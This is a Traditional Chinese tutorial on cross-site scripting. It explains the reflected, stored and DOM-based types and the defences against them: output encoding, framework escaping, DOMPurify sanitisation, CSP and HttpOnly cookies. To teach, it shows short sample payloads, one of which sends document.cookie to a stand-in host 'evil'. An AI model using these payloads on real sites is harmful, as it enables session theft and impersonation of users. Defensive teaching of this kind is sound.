XSS 跨站腳本攻擊完全指南

深入 XSS:反射型/儲存型/DOM 型三種攻擊、危害、輸出編碼/CSP/框架自動轉義等防護與常見誤區

屬於 OWASP Top 10 的 A03 注入;session/cookie 相關見 認證與授權


目錄


什麼是 XSS?

XSS(Cross-Site Scripting,跨站腳本) 是把惡意 JavaScript 注入到網頁,讓它在其他使用者的瀏覽器中執行。攻擊者借受害者的瀏覽器、以受害者的身分執行程式碼。

攻擊者把 <script>...</script> 塞進網頁某處
   → 受害者開啟頁面
   → 那段腳本在受害者瀏覽器執行(擁有受害者的登入狀態)

本質是 A03 注入的一種:把不可信輸入當成 HTML/JavaScript 執行。


為什麼 XSS 危險

惡意腳本在受害者瀏覽器中以受害者身分執行,能做的事幾乎等於使用者本人:

  • 竊取 session / token:讀 document.cookie、localStorage 的 token → 冒充登入
  • 冒名操作:以受害者身分送請求(轉帳、改密碼、發文)
  • 鍵盤側錄 / 釣魚:覆蓋假登入框騙帳密
  • 散播:儲存型 XSS 可像蠕蟲擴散給所有看到該內容的人

一個 XSS 就可能讓「登入狀態」形同被接管——這是它高危的原因。


三種 XSS 類型

類型 惡意腳本來自 觸發方式
反射型(Reflected) URL/請求參數,被伺服器原樣「反射」回頁面 誘騙受害者點惡意連結
儲存型(Stored) 存進資料庫(留言、暱稱…),之後輸出給所有人 受害者瀏覽含惡意內容的頁面(最危險)
DOM 型(DOM-based) 純前端:JS 把不可信資料寫進 DOM 不經伺服器,前端直接觸發

反射型範例

<!-- 伺服器把搜尋關鍵字直接印回頁面 -->
搜尋結果:<%= request.query.q %>

<!-- 攻擊連結:?q=<script>steal(document.cookie)</script> -->
<!-- 受害者一點,腳本就執行 -->

儲存型範例

攻擊者在留言欄填: <script>fetch('//evil/?c='+document.cookie)</script>
→ 存進 DB
→ 每個瀏覽該留言的人,瀏覽器都執行這段 → cookie 被偷

DOM 型範例

// 前端直接把 URL 片段塞進 innerHTML(不經伺服器)
document.getElementById("out").innerHTML = location.hash.slice(1);
// #<img src=x onerror=alert(1)> → 執行

核心成因

所有 XSS 的根因都一樣:把不可信資料當成 HTML/JavaScript 解析執行,而非當成「純文字資料」。

資料 + 沒做情境編碼 → 被瀏覽器當程式碼執行 → XSS

防護的總原則:輸出時,依情境把資料當資料(編碼),不要讓它變成可執行的標記/腳本。


防護一:輸出編碼

最核心的防護:把資料輸出到頁面時,依「輸出位置」做對應的編碼/轉義

HTML 內文:    < > & " ' → &lt; &gt; &amp; ...(HTML escape)
HTML 屬性:    額外處理引號,並加引號包住
JavaScript:   輸出到 <script> 內需 JS 編碼(盡量避免直接拼)
URL:          參數做 URL encode

關鍵:編碼要對應情境——HTML 內文、屬性、JS、URL 各有不同編碼方式,用錯地方等於沒防。

不要自己土法拼字串貼進 innerHTML;用框架或樣板引擎的自動轉義(見下)。


防護二:框架自動轉義

現代前端框架預設就會把插值內容轉義,這是它們的重要安全價值:

// React:預設安全,content 會被當純文字,<script> 不會執行
function Comment({ content }) {
  return <div>{content}</div>;   // ✅ 自動轉義
}
// ⚠️ 危險出口:dangerouslySetInnerHTML 會原樣插入 HTML
<div dangerouslySetInnerHTML={{ __html: userContent }} />  // 直接 XSS 風險
  • React {}、Vue {{ }}、Angular 插值預設轉義 → 一般情況天生防 XSS
  • 危險出口:React dangerouslySetInnerHTML、Vue v-html、直接操作 innerHTML —— 這些會原樣插入 HTML,用前必須先淨化
  • React 見 React 完全指南

防護三:HTML 淨化(Sanitization)

當你真的需要顯示使用者提供的 HTML(如富文本編輯器、Markdown 渲染),不能只轉義(會把 HTML 變純文字)。這時要淨化:移除危險標籤/屬性,只留安全的。

import DOMPurify from "dompurify";

const clean = DOMPurify.sanitize(userHtml);  // 移除 <script>、onerror 等
element.innerHTML = clean;                    // 再放進去才安全
  • 用成熟的淨化庫(如 DOMPurify),別自己寫黑名單(一定漏)
  • 白名單思維:只允許已知安全的標籤/屬性

防護四:CSP(內容安全政策)

CSP(Content Security Policy) 是一道縱深防禦:透過 HTTP 標頭限制「頁面能載入/執行哪些來源的資源」,即使有 XSS 漏洞也能大幅降低危害。

Content-Security-Policy: default-src 'self'; script-src 'self'
  • script-src 'self':只允許執行同源腳本 → 擋下 inline <script> 與外部惡意腳本
  • 可用 nonce / hash 精準允許特定 inline script
  • 注意:CSP 是補強,不是取代輸出編碼——是「萬一漏了也有第二道牆」

防護五:Cookie 加固

降低「session cookie 被 XSS 偷走」的衝擊:

屬性 作用
HttpOnly JS 讀不到該 cookiedocument.cookie 拿不到)→ XSS 偷不走 session
Secure 只在 HTTPS 傳送
SameSite 限制跨站送出(也防 CSRF)

HttpOnly 是關鍵:把 session cookie 設為 HttpOnly,即使頁面被 XSS,攻擊腳本也讀不到 session cookie。但存在 localStorage 的 token 沒有這層保護——這也是「token 存哪」要權衡 XSS 風險的原因。


常見誤區

1. 「我有做輸入驗證就夠了」

輸入驗證有幫助,但XSS 的關鍵防線在「輸出編碼」。同一份資料可能輸出到 HTML、屬性、JS、URL 等不同情境,只在輸入時擋無法涵蓋所有輸出情境。

2. 「用了 React 就完全免疫」

React 預設轉義能擋多數情況,但 dangerouslySetInnerHTMLhref="javascript:..."、直接操作 DOM 仍可能 XSS。框架降低風險,不等於免死金牌。

3. 「只擋 <script> 就好」

XSS 不只靠 <script><img src=x onerror=...><svg onload=...>javascript: URL 等都能執行。黑名單必漏,要用白名單淨化 + 輸出編碼。

4. 「只有輸入框才有風險」

URL、HTTP 標頭、第三方資料、甚至檔名都可能是來源。DOM 型 XSS 還完全不經伺服器。


常見問題

問題 1:XSS 和 SQL Injection 差在哪?

兩者同屬「注入」,但目標不同:SQL Injection 注入的是 SQL 查詢(打資料庫);XSS 注入的是 HTML/JavaScript(在受害者瀏覽器執行)。共通根因都是「把輸入當程式碼」。

問題 2:反射型和儲存型哪個嚴重?

儲存型通常更嚴重——惡意腳本存進伺服器後,每個瀏覽該內容的人都中招,可大規模擴散;反射型需誘騙個別受害者點特製連結。

問題 3:輸出編碼和淨化(sanitize)差在哪?

編碼把資料當純文字顯示(<&lt;,HTML 不會生效)——適合顯示純文字。淨化保留安全的 HTML、移除危險部分——適合「需要顯示使用者 HTML」時(富文本)。

問題 4:把 token 存 localStorage 安全嗎?

localStorage 沒有 HttpOnly 保護,一旦有 XSS 就能被讀走。session cookie 設 HttpOnly 較安全。要存 token 於 localStorage 就更需嚴防 XSS,並考慮短期 token。

問題 5:有 CSP 就不用做輸出編碼了嗎?

不是。CSP 是第二道防線(縱深防禦),輸出編碼/框架轉義才是主要防線。兩者搭配:先正確編碼,再用 CSP 兜底。


總結

核心要點

  • XSS:把惡意 JS 注入網頁、在受害者瀏覽器以其身分執行 → 偷 session、冒名操作
  • 三型:反射型(連結觸發)、儲存型(存 DB、影響所有人,最危險)、DOM 型(純前端)
  • 根因:把不可信資料當 HTML/JS 執行
  • 主防線:依情境輸出編碼 + 框架自動轉義(小心 dangerouslySetInnerHTML/v-html
  • 需顯示使用者 HTML 時用 DOMPurify 淨化(白名單)
  • 縱深防禦:CSP 限制可執行來源、HttpOnly cookie 讓 session 偷不走

快速參考

防護 作用 定位
輸出編碼 把資料當文字(依情境) 主防線
框架自動轉義 React/Vue 預設轉義 主防線
HTML 淨化(DOMPurify) 顯示使用者 HTML 時 必要時
CSP 限制可執行的腳本來源 縱深防禦
HttpOnly cookie session 偷不走 降低衝擊

建立日期:2026-06-18

🔗相關文章